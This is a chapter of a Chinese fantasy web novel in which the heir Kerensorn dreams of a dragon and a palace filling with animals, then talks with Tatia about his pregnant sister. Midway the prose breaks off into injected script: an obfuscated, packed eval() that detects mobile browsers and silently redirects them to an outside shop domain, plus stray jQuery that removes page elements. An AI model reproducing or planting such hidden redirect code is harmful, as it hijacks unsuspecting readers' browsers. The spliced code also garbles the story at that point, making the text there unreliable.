8. 克伦索恩:生命浪潮
    他如今睡得很少,少过夜间白昼的琉璃塔中少年时代。他仍在那座悬浮在时间之外的宫殿中度过□□沉眠的时间,却可见它光芒渐消去。大臣开始叫他,‘大公’,而非‘大公子’,他在交谈途中停下,停息片刻,望进众人的眼中,一场无声的,关于承认与否,关于是否让时间逝去的博弈悄然生发,直到他的对话者别目,不愿看他眼中的琥珀澄澈,以嗫嚅点头作暂负——“大公子。”他同时行礼,为表明这唯一一件事,对众人道:

    “这座堡垒的主人不是我。”他这样,也仅仅这样说:“陛下已离去,但他的意志始终如一,我期望你们的尊重,而这尊重不必给我。”他离去时留下片厚重的沉默:关于的因果的困惑,事关战争的疑虑。他不是不知道过去半年中涌动的纠纷在各处兴起,他知晓许多血门之下尘埃嚣嚣的对阵只是被异常的气候阻止,更了然在白山北端的苔原上雾气常掩成群马队,推行木船企图渡过汹涌北海,只为去往那极天下的岛屿,打开‘封魂棺’,确认如今谜题中最关键的缺失部分:那个凶险的化身是否彻底死去?他们怀着决心——若其中已是枯朽尸体便扔进海内,若尚有呼吸,他们会将那身体撕为粉末,以言语无从描述的绝大勇气。

    他能感受到这一切。恐惧,愤怒,焦虑和孤注一掷的狂喜化作浓稠潮水穿过兰德克黛因的原野,敲响‘回忆宫’的断壁残垣,夜间他抬头看那尖顶不断震荡水色的波动,之后,天空中眼不可见的钟就会拨动。这张钟面的透明是其无关善恶的证据,也是其险恶的谜题——‘回忆宫’的天空灰白如尸面,同样的苍白中,世上最后一只巨龙盘旋在黑荔波斯上,黑翼断绝死亡的迫切诉求,也消除了复生的希望;它是将那些企图渡海男人阻绝在岸的唯一理由,而无数铁水浇灌的武器正别送往岸边,对着遥远的风眼。

    岛屿静谧,重洋阻隔岸边奔跑的喧嚣。多少次他曾仰头叹息过,这钟表透明的纯净是为使人眼不可见,不可感,而看似宽宥却残酷的回避,叫人无法意识到岌岌可危的境地?他在睡梦中,朦胧间,走过北海白浪涌起的海岸,火炮和光柱穿过他的身体,星点红痕绽放海中。那巨龙,受他控制,藏于岛中,好令远射的武器无法击中它,而他耐心等待,栖息在吠陀先已无魂的龙瞳中,直到北海军队入睡懈怠的刹那,他便会召集起这独自一人的军队,从天而降,像背起石块,将那器械物品毁坏,兴许还夹杂着人,其中的细节他很难知道。他所知道的,就是在这种梦中的苏醒时刻,他能听见头脑中响动的哀鸣。血腥蔓延在他口齿间,梳妆镜中,他的牙龈出了血。

    正是在他摧毁了第一支大船后,他发现清晨时,有一只鸟出现在他身后,如幻觉。他猛然回头,不再是镜中,而在他面前,鸟同他对视,此后,更多*此物*接连涌出。此物:不会说话,鲜活异常的生命。已是阳春三月,某天夜晚他进入‘回忆宫’,看见那无光,已无从得知秘密的琉璃中走出一只白虎。它的动作沉默,流动,庄重,身后跟随着兽群。它们一言不发,自然如此,但蕴含着这宫殿最不知的事物,涌现的活力。克伦索恩抬起头,他看见百鸟飞舞空中,巨鲸游于天际,走兽游动的身躯如汹涌的大乐章——人的言语符合的智慧,其中自然少之又少,近可于无,令此存在正是这宫殿的对立,如今,它们无处不在。为何如此?为何龙心消失后,他还能在‘回忆宫’中?为何他能控制无魂者?秘密弹出深邃的音符,他站在断石上,清晰注视它流动的脉络,可见难成不见之事。

    生命澎湃而不可回绝的降临正侵入‘回忆宫’,他在梦中所见最后一眼,乃是只巨大的蓝背鸟,遮天白月,渲染下一阵淬人心胸的蓝。

    “起初是中部的动物迁移——我父亲引起的大龙战激发的恐惧不止在人群中。南部平原的动物原先有自己的轨迹,但就在那一个月中被打散,劳兹玟的草原有一片为荒漠取代,死去的牲畜吸引同被黑云驱散的肉食者,肉食者的来到又驱赶幸存的猎物,在前后相引的退避连绵,纠缠新生中,这张全新的生灵地图诞生。许多先前不曾进入人类辖地的动物由此出现在人的视野中——这只雪豹便是如此,从龙云经过的山地中落下,被一个杂耍团捕获。半个月前他们来孛林巡演,演出不很受欢迎,但这只雪豹的走失引起了些骚乱。它逃进了堡垒,同此前的动物一般,你说的是对的:*我在过去的几月中累积了它们*。无论是鸟还是蛇,无论是捕猎者还是被捕猎者,它们到这儿来,”他坐在床边,递给她一杯水,道:“避难。”

    她低头吮吸,用舌去舔那水面,然后再大口吞咽,含糊道:“——什么日子。”水漫下轮廓,喉管起伏,声随水落:“动物都过不下去了!”

    他无法否认。谁能说动物的世界,无论有怎样的更替和死生,总是比人类的社会更隽永而富有规律的?死亡以新生告别,尸骸融入土灰,只余很少的悲怆和恐怖,月落日升的韵律,机械而富有最本真,温柔的生命活力,送去一代又一代柔软坚硬的生命。它们不受诅咒;它们生存。他侧头,看向窗外,属于他们自己的世界,感其凝固而审问的沉重。大战尚未离去——有些事,从很多年前就未离去。无法命名的事物,对抗,诅咒,厌恶着彼此,有接近永恒的刚强,比生命的旋律更少关怀,更多力量。这样的事物贴近他们的世界。他看着风中摇晃的层林,抿住嘴唇。

    “我妹妹如何了?”之后,他吐息,以平稳的声音问。她姿态豪迈地喝着水,忽停止,放下水杯,注视他的侧脸,若有言语。他叹息,道:“*厄文*——我问你关于厄文的事。我和她,和昆莉亚姨都有通信,但我想听听你的想法。”

    她眯眼。“厄文。”语气微妙,她重复这词语;她的眼向上看去,似在寻找何物,而后终于在寻到后笃定地开口,望回他,似有些调侃,其后翻涌的忧虑却不容忽略:“——你指*厄德里俄斯*王女殿下。”她的调侃,显然来自于她将这名字从云端取下,放在自己粗糙而不恭敬的手中。这毫无疑问是个高贵的名字,古老而纯洁,标志了人可想象光明而正直的一切。*厄德里俄斯*,如此它被封存,隐藏了多年,现在被从那洁净而空灵的神龛中释放,带着世外和往世的沉重,几不可触,不可念。她将它掠过她嗜血而粗野的舌,当然,令他蹙眉,因他可预料她将说什么。

    “塔提亚,不用说你对这些闲言碎语和恶意中伤的想法——我想知道她的状态——”

    他命令;她攻击道:“我们真的要用这个名字吗?你真的想用吗?这么鲜明地显示,你父亲,继你之后,再一次——不是意外,而像注定了。这次,还有什么能为他开脱——”

    “这不重要。”他回头,睁大眼,作出几分威严,她有些惊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131302|149957||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    讶,软化了态度,对他举起手。她转换了策略,不再表现她的好奇和窥探,而变作对他的关心。“好,自然好。与我有什么关系?”她邪恶地笑了笑:“我更好奇你对此的想法。你过去对此相当介怀,现在它再次发生——我知道你不会相信那些感应怀孕,女神送子的说法。”她看似冷静,疏离地说:“——这孩子是你的妹妹——或者弟弟。但,你理解我,*没人以为这会是个男孩*,我说不好这是为什么,希望你告知我。”“说吧。”他没做任何解释,用毅力忍耐着,仿佛每句话都是种鞭笞和痛苦。“我们假设这是个女孩。”她提议。“说吧。”他闭上眼,言语刻下伤口。

    所以,自然,她会是你的侄女……她说。很久,这将是她的身份,但这不改变她的事实。

    他沉默。他能说什么?真相如此沉重而苦涩。他只能同她对视,听着其中言语同命运的琴弦奏响:“——她就是拉斯提库斯的最后一个孩子。”

    光很迟才来。他记起那些信。他的妹妹,这个即将成为母亲的年轻女子寄来的信轻盈无痛。他记得那些字迹,其中蕴含的云色让它们看起来甚至是透明的,没有什么事碰得到她。没有痛苦,忧虑,但带深重的哀伤,深至超越了病痛与健康。*无须担忧,克伦索恩大哥,我身体尚可,昆莉亚女士将城内维持得井井有条。达弥斯提弗的秩序稳步建立,居民适应着新生活,我自己也身在其中*。

    我能感受到那孩子的成长和跳动,这让我高兴。希望我们在年末能相聚——我很想念你。

    “克伦索恩?”塔提亚说。他难以挣扎,恍惚了,身体摇晃。这言语是模糊,交错而破碎的,意义时刻变化。比新母更稳重,比相聚更紧密。不像妹妹对兄长——他感到他必须去见她,他不得不这么做。那个词语,‘我们’,象征着种更大的集体。眼泪在明白缘由前已涌起,因即使感到不解的怨恨,更深的遗憾是悲痛于有什么人的缺席,而她们已经为这场相聚等了太久,太久。像永远那么长。但这相聚是在什么情境下发生的?他挣扎的眼中看见孛林苍绿,幽暗的林木。

    时间流逝,那孩子要出生了,塔提亚的到来如信号,清晰地告知他此事。但他无法离开。他不能去到他妹妹,或者那个新生儿身边——他更不能做的事是假定任何意外的发生。克伦索恩——他有种不似感性人类的精美相貌,寒冷,细腻,但刹那,骤然涌起的感情让他显得鲜活而脆弱,而见状,她原本要说的话便在口中不前了。她悻悻收手,卸下残酷的面容。

    “你不习惯你父亲不在了,是不是?”她伸手,犹豫片刻,落在他肩上,终于彻底地停在那,给予他些中性的安慰。她们的关系很微妙。“你看上去压力大得要死了,试试分些给别人。你是不是过去太依赖白龙心,甚至没什么心腹?”

    他摇头,大口呼吸。他没有对这话题多说。

    “我会让维格随你一同去阿奈尔雷什文。”他解释道,声音已冷静:“带上惠院最好的药物,没有龙血了,我们只能做力所能及的——塔提亚。”

    他对她伸出手。“记得我和你说过的。”他低声道:“保护好她。”

    她们对视,他见她虽不情愿,却仍点了头,终面露笑容,苦涩而疲倦。

    “别担心。”她最后说:“她挺好的。但她无法控制周围人怎么想,不是吗?”